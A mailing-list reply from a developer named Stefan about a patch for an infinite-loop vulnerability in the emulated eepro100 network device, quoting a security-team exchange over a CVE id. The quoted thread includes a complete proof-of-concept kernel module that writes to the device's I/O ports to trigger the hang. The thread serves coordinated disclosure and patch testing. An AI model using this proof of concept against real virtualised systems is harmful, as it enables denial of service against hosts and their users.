Am 20.11.2015 um 07:29 schrieb Qinghao Tang: > I think the patch can solve this vulnerability. > I confirm that the loop exist , the poc code can prove that. > > > #include <linux/init.h> > #include <linux/module.h> > #include <linux/kernel.h> > #include <asm/io.h> > #define PAGE_OFFSET 0x0C000000 > MODULE_LICENSE("GPL"); > static int hello_init(void) > { > > void* pvirt; > void* pphy; > unsigned long* pdbal; > unsigned long* tdt; > unsigned short status; > pvirt =kmalloc(0x100,GFP_KERNEL); > memset(pvirt,0,0x100);//control the filed of eepro100_tx_t struct > pphy=virt_to_phys(pvirt);//get physical address > printk(KERN_ALERT "%08x\n",pvirt); > printk(KERN_ALERT "%08x\n",pphy); > outl(pphy,0xc004);//write the address > outw(0x0060,0xc002); > outl(0,0xc004);//write the offset > outw(0x0010,0xc002); //enter action_command function > > > return 0; > } > static void hello_exit(void) > { > printk(KERN_ALERT "goodbye,kernel\n"); > } > module_init(hello_init); > module_exit(hello_exit); > MODULE_AUTHOR("qinghao tang"); > MODULE_DESCRIPTION("poc for eepro100 infinite loop vulnerability\n"); > > 2015-11-20 14:10 GMT+08:00 P J P <ppan...@redhat.com > <mailto:ppan...@redhat.com>>: > > Hello Qinghao, > > +-- On Fri, 20 Nov 2015, Qinghao Tang wrote --+ > | Currently what problem do you have? Perhaps I could provide more > support. > > Could you please confirm if the proposed patch here fixes the issue. > Secondly there is uncertainty if the CB loop like Jason mentioned > earlier is > possible. > > | And please give this vulnerability a cve id. > > Yes I will; As soon as the patch is ready for upstream. > > Thank you. > -- > Prasad J Pandit / Red Hat Product Security Team > 47AF CE69 3A90 54AA 9045 1053 DD13 3D32 FE5B 041F > >
Thanks for this example. Could you please try whether the patch which I have just sent fixes the problem for you? And please CC me on any e-mails regarding eepro100. Stefan